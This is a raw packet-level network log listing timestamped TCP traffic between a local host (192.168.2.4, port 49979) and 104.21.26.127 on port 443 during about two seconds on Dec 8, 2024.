Dec 8, 2024 01:46:50.496191978 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.500241041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.500255108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.500317097 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.500322104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.500366926 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.506418943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.506433010 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.506483078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.506489038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.506532907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.511851072 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.511871099 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.511931896 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.511944056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.511985064 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.661340952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.661355019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.661448956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.661456108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.661494970 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.667505026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.667522907 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.667584896 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.667589903 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.667638063 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.673652887 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.673666000 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.673837900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.673842907 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.673887014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.679100037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.679114103 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.679176092 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.679182053 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.679219961 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.685309887 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.685322046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.685389996 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.685395002 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.685434103 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.691154957 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.691170931 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.691235065 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.691240072 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.691281080 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.697289944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.697303057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.697367907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.697372913 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.697411060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.703402042 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.703417063 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.703473091 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.703478098 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.703512907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.853636026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.853648901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.853816032 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.853822947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.853858948 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.859819889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.859834909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.859901905 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.859905958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.859944105 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.865287066 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.865303040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.865365982 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.865370035 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.865407944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.871491909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.871505022 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.871565104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.871570110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.871608973 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.877635002 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.877648115 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.877724886 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.877729893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.877767086 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.883366108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.883378983 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.883440971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.883445978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.883495092 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.889575005 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.889588118 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.889642000 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.889646053 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.889683962 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.895028114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.895042896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.895097971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:50.895102978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:50.895137072 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.046156883 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.046170950 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.046228886 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.046235085 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.046283960 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.051762104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.051775932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.051829100 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.051836967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.051881075 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.057988882 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.058001995 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.058060884 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.058065891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.058125973 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.063406944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.063421011 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.063476086 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.063481092 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.063519955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.069619894 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.069634914 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.069686890 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.069691896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.069730997 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.075400114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.075412989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.075473070 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.075478077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.075522900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.081505060 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.081535101 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.081593037 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.081598043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.081634998 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.087740898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.087754011 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.087804079 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.087806940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.087841988 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.237803936 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.237838030 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.237903118 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.237906933 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.237937927 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.237957001 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.243880987 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.243896961 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.243952990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.243958950 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.243997097 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.250112057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.250125885 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.250185013 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.250190020 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.250222921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.255637884 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.255654097 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.255719900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.255724907 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.255763054 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.261652946 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.261666059 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.261745930 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.261750937 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.261789083 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.267523050 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.267539024 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.267587900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.267594099 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.267631054 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.273627996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.273643017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.273675919 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.273682117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.273720980 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.279902935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.279920101 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.279989004 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.279994011 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.280004025 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.280030012 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.429755926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.429770947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.429843903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.429850101 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.429881096 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.435911894 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.435924053 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.435980082 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.435983896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.436018944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.442146063 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.442158937 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.442224979 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.442229033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.442265034 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.447561979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.447575092 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.447632074 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.447637081 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.447674990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.453752995 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.453764915 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.453816891 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.453821898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.453856945 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.459566116 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.459578991 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.459639072 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.459644079 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.459688902 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.465637922 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.465651989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.465711117 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.465713978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.465749979 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.471858025 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.471870899 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.471925974 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.471929073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.471961975 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.621777058 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.621792078 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.621963978 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.621970892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.622014046 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.627928019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.627940893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.627995014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.628000021 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.628026009 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.628045082 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.634051085 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.634064913 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.634113073 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.634118080 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.634154081 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.639497995 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.639511108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.639549017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.639553070 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.639575005 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.639600992 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.645698071 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.645711899 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.645765066 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.645771027 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.645809889 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.651488066 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.651504993 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.651559114 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.651563883 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.651603937 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.657674074 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.657691002 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.657744884 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.657749891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.657789946 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.663791895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.663820982 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.663897991 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.663902998 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.663945913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.813788891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.813802958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.813863993 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.813869953 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.813913107 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.819921017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.819938898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.819989920 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.819994926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.820035934 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.826056004 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.826073885 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.826119900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.826127052 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.826170921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.831446886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.831459999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.831516027 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.831520081 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.831562996 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.837635994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.837649107 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.837701082 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.837706089 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.837744951 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.843494892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.843521118 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.843560934 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.843565941 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.843588114 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.843614101 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.849708080 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.849725008 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.849762917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.849771976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.849798918 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.849816084 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.855770111 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.855786085 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.855837107 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:51.855840921 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:51.855890036 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.463320017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.463329077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.463368893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.463536978 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.463547945 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.463603973 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.465939999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.465976000 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.466044903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.466049910 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.466097116 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.467816114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.467829943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.467854023 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.467885971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.467891932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.467922926 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.467946053 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.470541954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.470555067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.470619917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.470624924 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.470671892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.472368002 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.472382069 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.472434998 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.472441912 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.472481012 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.474062920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.474076033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.474134922 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.474139929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.474179983 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.475800991 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.475814104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.475871086 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:52.475874901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:52.475914955 CET	49979	443	192.168.2.4	104.21.26.127
